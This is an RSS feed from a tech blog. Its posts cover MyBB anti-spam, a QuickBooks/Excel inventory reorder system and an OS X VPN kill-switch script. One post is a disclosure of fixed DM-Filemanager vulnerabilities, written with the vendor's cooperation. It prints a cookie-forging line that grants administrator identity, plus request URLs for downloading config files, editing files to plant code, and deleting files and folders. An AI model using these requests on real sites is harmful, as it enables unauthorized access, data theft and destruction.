<?xml version="1.0" encoding="UTF-8"?> <rss
version="2.0"
xmlns:content="http://purl.org/rss/1.0/modules/content/"
xmlns:wfw="http://wellformedweb.org/CommentAPI/"
xmlns:dc="http://purl.org/dc/elements/1.1/"
xmlns:atom="http://www.w3.org/2005/Atom"
xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
><channel><title>nDarkness &#187; Utilities</title> <atom:link href="http://www.ndarkness.com/category/utilities/feed/" rel="self" type="application/rss+xml" /><link>http://www.ndarkness.com</link> <description>Step Into The Light</description> <lastBuildDate>Mon, 20 Feb 2012 01:44:37 +0000</lastBuildDate> <language>en</language> <sy:updatePeriod>hourly</sy:updatePeriod> <sy:updateFrequency>1</sy:updateFrequency> <generator>http://wordpress.org/?v=</generator> <item><title>MyBB Registration Spam and How to Stop It</title><link>http://www.ndarkness.com/2011/10/995/mybb-registration-spam-and-how-to-stop-it/</link> <comments>http://www.ndarkness.com/2011/10/995/mybb-registration-spam-and-how-to-stop-it/#comments</comments> <pubDate>Wed, 12 Oct 2011 23:00:59 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computers]]></category> <category><![CDATA[MyBB]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=995</guid> <description><![CDATA[If you run any type of site that allows member sign ups, then I&#8217;m sure you know all about spam.  I had been receiving a ridiculous amount of spam sign ups on a MyBB forum I administer.  Since the CAPTCHA system didn&#8217;t seem to be deterring any of the spam, I decided to look for [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F10%2F995%2Fmybb-registration-spam-and-how-to-stop-it%2F' data-shr_title='MyBB+Registration+Spam+and+How+to+Stop+It'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F10%2F995%2Fmybb-registration-spam-and-how-to-stop-it%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F10%2F995%2Fmybb-registration-spam-and-how-to-stop-it%2F' data-shr_title='MyBB+Registration+Spam+and+How+to+Stop+It'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F10%2F995%2Fmybb-registration-spam-and-how-to-stop-it%2F' data-shr_title='MyBB+Registration+Spam+and+How+to+Stop+It'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="http://www.ndarkness.com/wp-content/blogs.dir/1/files/2011/10/no-spam-blue.gif" alt="" title="No Spam" width="250" height="225" style="float: left; margin-right: 15px; margin-bottom: 15px;" /><div
style="text-indent: 1.5em;">If you run any type of site that allows member sign ups, then I&#8217;m sure you know all about spam.  I had been receiving a ridiculous amount of spam sign ups on a MyBB forum I administer.  Since the CAPTCHA system didn&#8217;t seem to be deterring any of the spam, I decided to look for a different solution.</div><div
style="text-indent: 1.5em;">Luckily for me, a developer named <a
href="http://www.geekplugins.com/mybb/regsecureq" target="_blank">- G33K -</a> has developed a plugin called <a
href="http://mods.mybb.com/view/registration-security-question" target="_blank">Registration Security Question</a>.  This plugin allows you to add a random question to potential members application before it is processed.  This simple solution has completely eliminated the spam registrations to my forum.  If you are having this same problem, then this is a must have plugin!</div><div
class="shr-publisher-995"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2011/10/995/mybb-registration-spam-and-how-to-stop-it/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>QuickBooks &#8211; Inventory Reorder System Part 1</title><link>http://www.ndarkness.com/2011/05/893/quickbooks-inventory-reorder-system-part-1/</link> <comments>http://www.ndarkness.com/2011/05/893/quickbooks-inventory-reorder-system-part-1/#comments</comments> <pubDate>Sat, 28 May 2011 21:28:00 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computers]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[Intuit]]></category> <category><![CDATA[QuickBooks]]></category> <category><![CDATA[Technology]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=893</guid> <description><![CDATA[QuickBooks is an exceptionally good and well known piece of accounting software.  I have found that many things can be accomplished with QuickBooks if you are willing to think outside the box to get them done. We all know that inventory is an important part of any business.  It must be tracked and accounted for [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F893%2Fquickbooks-inventory-reorder-system-part-1%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+1'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F893%2Fquickbooks-inventory-reorder-system-part-1%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F893%2Fquickbooks-inventory-reorder-system-part-1%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+1'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F893%2Fquickbooks-inventory-reorder-system-part-1%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+1'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>QuickBooks is an exceptionally good and well known piece of accounting software.  I have found that many things can be accomplished with QuickBooks if you are willing to think outside the box to get them done.</p><p>We all know that inventory is an important part of any business.  It must be tracked and accounted for properly to ensure fluid day to day operations.  We can train our staff and schedule customer service calls but if we don&#8217;t have the inventory on hand, we are stuck in a waiting game.</p><p>QuickBooks does not have a very good method to set-up reorder alerts at specific quantities.  You are allowed to set a reorder point for specific items and view them in the Company Snapshot screen.  Unfortunately we don&#8217;t know the specific quantity to order for each item or what the total cost of the order will be.  So how do we add this ability?  Why isn&#8217;t this feature included?  We could purchase third party software to accomplish this task but who wants to spend additional money on a feature that really should be included.</p><p>In this three part series I will show you how to modify existing inventory items we want to track, customize a report of these items and filter the results to give us an easy to use inventory reorder list.</p><p>Our first goal in this process is to edit the existing inventory items that we need to track.  These should be essential items that are used on a frequent basis.  First open up the item list, Lists =&gt; Item List, and double click on the items that need to be modified.  At the bottom of the Edit Item screen, you will notice a field labeled Reorder Point.  This is what QuickBooks uses to trigger a reorder point in the Company Snapshot screen.  You will need to enter the minimum quantity on hand that will prompt you to reorder.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="Reorder Point.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Reorder-Point.png" border="0" alt="Reorder Point" width="487" height="100" /></p><p>Now, lets setup a custom field to tell us how much of one item we wish to order.  This will be the maximum quantity that we wish to have on hand.  To do this we must be in single user mode if you work in a multi-user environment.  Next we need to click on Custom Field =&gt; Define Fields and select an unused label.  We will name this label Max Reorder Qty and make sure that the Use box is checked.  The final thing left to do is enter the max quantity we wish to have on hand of the particular item and click OK for all screens.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="Max Reorder.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Max-Reorder.png" border="0" alt="Max Reorder Qty Setup" width="487" height="383" /></p><p>Once you have finished setting up all of the items that you wish to track in your inventory list, we are ready to move on to the next part of our series.  <a
href="http://www.ndarkness.com/?p=908">QuickBooks &#8211; Inventory Reorder System Part 2</a> &#8211; Setting up a custom reorder report.</p><p><a
style="float: right;" href="http://www.ndarkness.com/?p=908">[Generate Report Part 2]</p><div
class="shr-publisher-893"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2011/05/893/quickbooks-inventory-reorder-system-part-1/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>QuickBooks &#8211; Inventory Reorder System Part 2</title><link>http://www.ndarkness.com/2011/05/908/quickbooks-inventory-reorder-system-part-2/</link> <comments>http://www.ndarkness.com/2011/05/908/quickbooks-inventory-reorder-system-part-2/#comments</comments> <pubDate>Sat, 28 May 2011 21:27:42 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computers]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[Intuit]]></category> <category><![CDATA[QuickBooks]]></category> <category><![CDATA[Technology]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=908</guid> <description><![CDATA[[Set up Items Part 1][Export to Excel Part 3] In part one of our inventory reorder system series, we learned how to set our items up to have reorder points and max reorder quantities. Now we need be able to generate a report so that we know what needs to be reorder and how many [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F908%2Fquickbooks-inventory-reorder-system-part-2%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+2'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F908%2Fquickbooks-inventory-reorder-system-part-2%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F908%2Fquickbooks-inventory-reorder-system-part-2%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+2'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F908%2Fquickbooks-inventory-reorder-system-part-2%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+2'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><a
style="float: left;" href="http://www.ndarkness.com/?p=893">[Set up Items Part 1]</a><a
style="float: right;" href="http://www.ndarkness.com/?p=912">[Export to Excel Part 3]</a></p><p
style="clear: both;">In part one of our inventory reorder system series, we learned how to set our items up to have reorder points and max reorder quantities.  Now we need be able to generate a report so that we know what needs to be reorder and how many we need to order.</p><p>To begin this process we will open the item list, Lists =&gt; Item List and click on Reports =&gt; Item Listing at the bottom of the page.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="Item List.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Item-List.png" border="0" alt="Item List" width="349" height="98" /></p><p>This will bring up a list of all the items in our inventory list.  We will probably not need all of these parts, so we need to filter the results to give us just the items with reorder points set.  To do this click on Modify Report =&gt; Filters and select Reorder Point.  Now select the option for &gt;= and add a 1 in the text field.</p><p><img
style="display: block; margin-left: auto; margin-right: auto; border: 0px initial initial;" title="Modify Report.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Modify-Report.png" border="0" alt="Modify Report" width="487" height="314" /></p><p>Next we need to click on the Display tab and remove several colums.  The columns to remove are price, sales tax code and preferred vendor from the custom report.  Now we need to memorize the report so that we don&#8217;t have to make these changes again.  To do this click on Memorize Report, name it Reorder Report and save it in the inventory group of the memorized reports.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="Memorize Report.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Memorize-Report.png" border="0" alt="Memorize Report" width="425" height="198" /></p><p>Now that we have finished this step, we are ready to move on to our final part in the inventory reorder system series.  <a
href="http://www.ndarkness.com/?p=912">QuickBooks &#8211; Inventory Reorder System Part 3.</a></p><p><a
style="float: left;" href="http://www.ndarkness.com/?p=893">[Set up Items Part 1]</a><a
style="float: right;" href="http://www.ndarkness.com/?p=912">[Export to Excel Part 3]</a></p><div
class="shr-publisher-908"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2011/05/908/quickbooks-inventory-reorder-system-part-2/feed/</wfw:commentRss> <slash:comments>2</slash:comments> </item> <item><title>QuickBooks &#8211; Inventory Reorder System Part 3</title><link>http://www.ndarkness.com/2011/05/912/quickbooks-inventory-reorder-system-part-3/</link> <comments>http://www.ndarkness.com/2011/05/912/quickbooks-inventory-reorder-system-part-3/#comments</comments> <pubDate>Sat, 28 May 2011 19:19:53 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computers]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Windows]]></category> <category><![CDATA[Intuit]]></category> <category><![CDATA[QuickBooks]]></category> <category><![CDATA[Technology]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=912</guid> <description><![CDATA[[Set up Items Part 1][Generate Report Part 2] In the first two parts of our series, we determined that QuickBooks does not have an all-in-one function to give you a report on items that need to be reordered.  Because of this deficiency, we have developed a system to generate a list in QuickBooks, export it [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F912%2Fquickbooks-inventory-reorder-system-part-3%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+3'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F912%2Fquickbooks-inventory-reorder-system-part-3%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F912%2Fquickbooks-inventory-reorder-system-part-3%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+3'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F912%2Fquickbooks-inventory-reorder-system-part-3%2F' data-shr_title='QuickBooks+-+Inventory+Reorder+System+Part+3'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><a
style="float: left;" href="http://www.ndarkness.com/?p=893">[Set up Items Part 1]</a><a
style="float: right;" href="http://www.ndarkness.com/?p=908">[Generate Report Part 2]</a></p><p
style="clear: both;">In the first two parts of our series, we determined that QuickBooks does not have an all-in-one function to give you a report on items that need to be reordered.  Because of this deficiency, we have developed a system to generate a list in QuickBooks, export it to Excel and extract the information we need.</p><p>To generate this report, click on Reports =&gt; Memorized Reports =&gt; Inventory =&gt; Reorder Report.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="ReorderRpt.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/ReorderRpt.png" border="0" alt="Memorized Report" width="309" height="144" /></p><p>This will bring up an item listing report that has been previously setup and formatted.  This will take care of the QuickBooks side of this process and all that needs to be done now is export the report to Excel and make a few formatting changes.</p><p><strong><em>(Please note that these instructions were written for Office 2003.  If anyone needs instructions for Office 2007, please let me know and I will post them.)</em></strong></p><p>The first change is to shorten header columns for printing purposes.  To allow us to shorten the header columns click on Edit =&gt; Replace or press Ctrl+H.  This will allow you to find and replace words in an Excel document.  The words we want to replace are quantity with Qty, sales order with SO and purchase order with PO.  The next step is to select all of blank column A and delete it.  Now select columns F-J and click on Format =&gt; Columns =&gt; AutoFit Selection.</p><p>Now we need to add two column headers, one for Reorder Qty and one for Total Cost.  Once this is finished your sheet should look similar to the one below.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="Excel Report.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Excel-Report.png" border="0" alt="Excel Report" width="434" height="108" /></p><p>With the formatting out of the way we are ready to enter the formula for the reorder quantity column.  Under the Reorder Qty column, J in this example, on the row below the header, enter the following formula:</p><p><pre class="brush: plain; title: ; notranslate">=IF(I2-G2-F2+E2=0,&quot;&quot;,IF(H2=&quot;&quot;,&quot;&quot;,IF(G2&lt;=H2,I2-G2-F2+E2,&quot;&quot;)))</pre></p><p>The first part of this formula checks to see if the max reorder quantity minus the quantity on hand minus the quantity on order plus the quantity on sales order equals zero.  If it does, that means we have enough on order and there is no need to order more.  If H2 is blank don’t add it into the equation either.  If the quantity on hand is not less than or equal to zero then we subtract the same rows again and enter the result into our spreadsheet.</p><p>The total cost column formula will be much easier to type.  All we need to do is multiply the reorder quantity by the cost column to get the total amount.  In this example the formula looks like this:</p><p><pre class="brush: plain; title: ; notranslate">=J2*D2</pre></p><p>With the formulas entered, copy them down to the last row and we are ready to sort the spreadsheet.  Select the reorder quantity header and click Data =&gt; Filter =&gt; AutoFilter.  Now you will notice drop down selection boxes for each of the column headers.  Click on the drop down box for the Reorder Point column and select nonblanks.  Repeat this step for the reorder quantity column.  You should end up with something similar to the picture below.</p><p><img
style="display: block; margin-left: auto; margin-right: auto;" title="Final Rpt.png" src="http://www.ndarkness.com/wp-content/uploads/2011/05/Final-Rpt.png" border="0" alt="Final Report" width="462" height="142" /> <br
/>To total the Total Cost column, we need to insert a sumif formula that will do the work for us.  In our example it would look something similar to what you see below.</p><p><pre class="brush: plain; title: ; notranslate">=SUMIF(J214:J4380,&quot;&gt;0&quot;,K214:K4380)</pre></p><p>This basically says that we need to sum all of column K if the cells in column J are greater than 0.  This formula will vary greatly with each report that is extracted from QuickBooks.</p><p>The only steps remaining are to format and print the report and use it to order the items.  Using this report along with proper tracking of the inventory on hand will make the ordering process much easier.  Feel free to let me know if you have any issues.</p><p><a
style="float: left;" href="http://www.ndarkness.com/?p=893">[Set up Items Part 1]</a><a
style="float: right;" href="http://www.ndarkness.com/?p=908">[Generate Report Part 2]</a></p><div
class="shr-publisher-912"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2011/05/912/quickbooks-inventory-reorder-system-part-3/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Hide My A$$ Pro VPN OSX Script to Stop Networking on Disconnect</title><link>http://www.ndarkness.com/2011/05/744/hide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect/</link> <comments>http://www.ndarkness.com/2011/05/744/hide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect/#comments</comments> <pubDate>Tue, 17 May 2011 01:08:34 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Computers]]></category> <category><![CDATA[Mac OS X]]></category> <category><![CDATA[Operating Systems]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Service]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=744</guid> <description><![CDATA[The HMA program for OSX is not as advance as the Windows version and lacks several features. My main complaint with the software is that you are unable to bind programs to the VPN connection. Since the whole point of using this service is to be anonymous, this would be defeated if the connection is [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F744%2Fhide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect%2F' data-shr_title='Hide+My+A%24%24+Pro+VPN+OSX+Script+to+Stop+Networking+on+Disconnect'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F744%2Fhide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F744%2Fhide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect%2F' data-shr_title='Hide+My+A%24%24+Pro+VPN+OSX+Script+to+Stop+Networking+on+Disconnect'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2011%2F05%2F744%2Fhide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect%2F' data-shr_title='Hide+My+A%24%24+Pro+VPN+OSX+Script+to+Stop+Networking+on+Disconnect'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p><img
src="http://www.ndarkness.com/files/2011/05/hma.png" alt="" title="hma" width="231" height="164" class="alignright size-full wp-image-745" />The HMA program for OSX is not as advance as the Windows version and lacks several features.  My main complaint with the software is that you are unable to bind programs to the VPN connection.  Since the whole point of using this service is to be anonymous, this would be defeated if the connection is lost for any reason.</p><p>The following script will bind all network activity to the VPN connection.  Before using this script there are a few things that will need to be done. <strong><em>Please note that you will need root access to use this script.</em></strong></p><ol><li>Determine your path to Perl:</li><pre class="brush: bash; title: ; notranslate">nDarkness:bin safety$ which perl
/opt/local/bin/perl</pre><p>(<em>This may be different on your system.</em>)</p><li>Substitute this as the first line of the script below</li><li>Delete all firewall rules if they exist:</li><pre class="brush: bash; title: ; notranslate">nDarkness:bin safety$ sudo ipfw f
Password:
Are you sure? [yn] y

Flushed all rules.</pre><li>Now create a file with the command below and paste the script below that:</li><pre class="brush: bash; title: ; notranslate">nDarkness:bin safety$ nano vpn_ipfw.pl</pre><pre class="brush: perl; title: ; notranslate">
#!/opt/local/bin/perl -w

use strict;

my $route = `netstat -r`;

$route =~ m{(.*?)/32};

my $address = &quot;$1:443&quot;;

system('ipfw add 01000 allow ip from any to any via tun0');
system(&quot;ipfw add 01100 allow ip from any to $address&quot;);
system('ipfw add 01200 deny ip from any to not me');
system('ipfw add 65535 allow ip from any to any');
</pre><li>After this is entered, press ctrl+x => y => enter</li><li>Use the HMA software to connect to a VPN server and then run our script:</li><pre class="brush: bash; title: ; notranslate">nDarkness:bin safety$ sudo perl vpn_ipfw.pl</pre></ol><p>Now if we lose our connection to the VPN server all networking activity will completely stop.  To reconnect networking again you will need to repeat step 3 above.</p><div
class="shr-publisher-744"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2011/05/744/hide-my-a-pro-vpn-osx-script-to-stop-networking-on-disconnect/feed/</wfw:commentRss> <slash:comments>1</slash:comments> </item> <item><title>DM-Filemanager 3.9.6-9 Multiple Vulnerabilities</title><link>http://www.ndarkness.com/2010/08/360/dm-filemanager-3-9-6-9-multiple-vulnerabilities/</link> <comments>http://www.ndarkness.com/2010/08/360/dm-filemanager-3-9-6-9-multiple-vulnerabilities/#comments</comments> <pubDate>Sat, 28 Aug 2010 16:10:33 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Computer Security]]></category> <category><![CDATA[Privacy]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Cookie Injection]]></category> <category><![CDATA[DM-FileManager]]></category> <category><![CDATA[Vulnerability]]></category> <category><![CDATA[XSS]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=360</guid> <description><![CDATA[The nDarkness community has recently been working with the wonderful developers over at DutchMonkey.com to review and point out security flaws in some of their freely available software. During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes. It is our hope that [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F' data-shr_title='DM-Filemanager+3.9.6-9+Multiple+Vulnerabilities'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F' data-shr_title='DM-Filemanager+3.9.6-9+Multiple+Vulnerabilities'></a><a
class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F08%2F360%2Fdm-filemanager-3-9-6-9-multiple-vulnerabilities%2F' data-shr_title='DM-Filemanager+3.9.6-9+Multiple+Vulnerabilities'></a></div><div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><p>The nDarkness community has recently been working with the wonderful developers over at <a
href="http://dutchmonkey.com" target="_blank">DutchMonkey.com</a> to review and point out security flaws in some of their freely available software.</p><p>During this review process, there were several issues found and we will be posting them in the coming weeks for educational purposes.  It is our hope that this information will be used to help others write more secure code and realize the dangers involved with these mistakes.</p><p>The next major issues we found with <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-Filemanager</a> version 3.9.6 &#8211; 3.9.7-9* dealt with several vulnerabilities.  Below is the method used to exploit this vulnerability and a list of possible exploits.  Please be aware that this has since been fixed and is no longer vulnerable.</p><p>I discovered that direct calls to ajax.php, code.php and rich.php are not properly validated.  Possible exploits for this vulnerability are file disclosure, loss of data and sensitive information, XSS (via source code editing), session hijacking (via XSS), web site defacement and database manipulation/exposure.</p><p>*You must use:</p><pre class="brush: jscript; title: ; notranslate">javascript:void(document.cookie=&amp;quot;USER=someadminuser&amp;quot;); void(document.cookie=&amp;quot;USERID=50&amp;quot;);void(document.cookie=&amp;quot;GROUP=ADMINISTRATORS&amp;quot;); void(document.cookie=&amp;quot;GROUPID=1&amp;quot;);</pre><p>Create a new file (see edit below for an easier method):</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?newfile=yes&#038;filename=index.php</p></ul><p>Download files:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/?download=yes&#038;file=settings.php&#038;currdir=/dm-filemanager/</p></ul><p>Rename:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?file=index.shtml&#038;currdir=/&#038;destination=/&#038;rn=yes&#038;newname=index.html</p></ul><p>Copy:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?file=config.php&#038;currdir=/&#038;destination=/&#038;cp=yes</p></ul><p>Edit: (This one has potential <img
src='http://www.ndarkness.com/wp-includes/images/smilies/icon_wink.gif' alt=';-)' class='wp-smiley' /> )</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/code.php?editfile=yes&#038;file=exploit.php&#038;currdir=/</p></ul><p>Delete File:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?delete=yes&#038;file=index.php&#038;currdir=/wp/&#038;destination=/wp/</p></ul><p>Delete Folders:</p><ul
style="background-color: #f8f8f8"><p>http://localhost/dm-filemanager/ajax.php?currdir=/wp/&#038;rmdir=yes&#038;folder=/wp/wp-admin&#038;dir=wp-admin</p></ul><p>All <a
href="http://www.dutchmonkey.com/?file=/products-dm-filemanager.html" target="_blank">DM-Filemanager</a> users are strongly encouraged to upgrade their software to the latest version.</p><div
class="shr-publisher-360"></div>]]></content:encoded> <wfw:commentRss>http://www.ndarkness.com/2010/08/360/dm-filemanager-3-9-6-9-multiple-vulnerabilities/feed/</wfw:commentRss> <slash:comments>0</slash:comments> </item> <item><title>Mac OS X &#8211; Update PHP, MySQL and Easily Add GD Support</title><link>http://www.ndarkness.com/2010/05/493/mac-os-x-update-php-mysql-and-easily-add-gd-support/</link> <comments>http://www.ndarkness.com/2010/05/493/mac-os-x-update-php-mysql-and-easily-add-gd-support/#comments</comments> <pubDate>Thu, 20 May 2010 01:34:08 +0000</pubDate> <dc:creator>safety</dc:creator> <category><![CDATA[Mac OS X]]></category> <category><![CDATA[Software]]></category> <category><![CDATA[Utilities]]></category> <category><![CDATA[Mac]]></category> <category><![CDATA[MySQL]]></category> <category><![CDATA[OS X]]></category> <category><![CDATA[PHP]]></category><guid
isPermaLink="false">http://www.ndarkness.com/?p=493</guid> <description><![CDATA[If you have ever tried compiling the GD library on Mac OS X, you know that there are several issues to overcome before it is usable. Not to mention the version of PHP included with OS X wasn&#8217;t compiled with this option. In this post I will detail an easy method to update PHP, install [...]]]></description> <content:encoded><![CDATA[<div
style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div
class='shareaholic-like-buttonset' style='float:right;height:30px;'><a
class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F493%2Fmac-os-x-update-php-mysql-and-easily-add-gd-support%2F' data-shr_title='Mac+OS+X+-+Update+PHP%2C+MySQL+and+Easily+Add+GD+Support'></a><a
class='shareaholic-fbsend' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F493%2Fmac-os-x-update-php-mysql-and-easily-add-gd-support%2F'></a><a
class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.ndarkness.com%2F2010%2F05%2F493%2Fmac-os-x-update-php-mysql-and-easily-add-gd-support%2F' data-shr_title='Mac+OS+X+-+Update+PHP%2C+MySQL+and+Easily+Add+GD+Support'></a><a
